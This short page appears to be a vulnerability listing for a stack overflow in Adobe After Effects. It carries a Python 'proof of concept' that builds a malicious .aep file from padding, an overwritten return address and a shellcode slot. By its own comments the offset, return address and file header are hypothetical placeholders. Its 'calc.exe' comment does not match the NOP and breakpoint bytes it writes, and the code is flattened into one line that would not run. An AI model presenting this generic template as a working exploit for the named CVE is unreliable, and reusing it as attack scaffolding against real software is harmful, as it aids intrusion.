CVE-2026-34690 Adobe After Effects栈溢出漏洞

import struct # Proof of Concept for CVE-2026-34690 # This script generates a malicious file structure to trigger the stack overflow. # Note: Offset and specific header structure need to be adjusted based on actual file format analysis. def generate_malicious_file(filename): # The malicious payload (e.g., NOP sled + Shellcode) # Placeholder for calc.exe execution on Windows shellcode = b"\x90" * 100 + b"\xCC" * 4 # Padding to reach the return address offset # Assuming offset is 500 bytes (Hypothetical value) offset = b"A" * 500 # Overwrite return address (Hypothetical address) ret_addr = struct.pack('<L', 0xdeadbeef) # Construct the payload payload = offset + ret_addr + shellcode # Write to file (simulating a project file) with open(filename, 'wb') as f: # Write a minimal header if required by the parser f.write(b'HEADER_MAGIC') f.write(payload) print(f"[+] Malicious file '{filename}' generated successfully.") if __name__ == "__main__": generate_malicious_file("exploit.aep")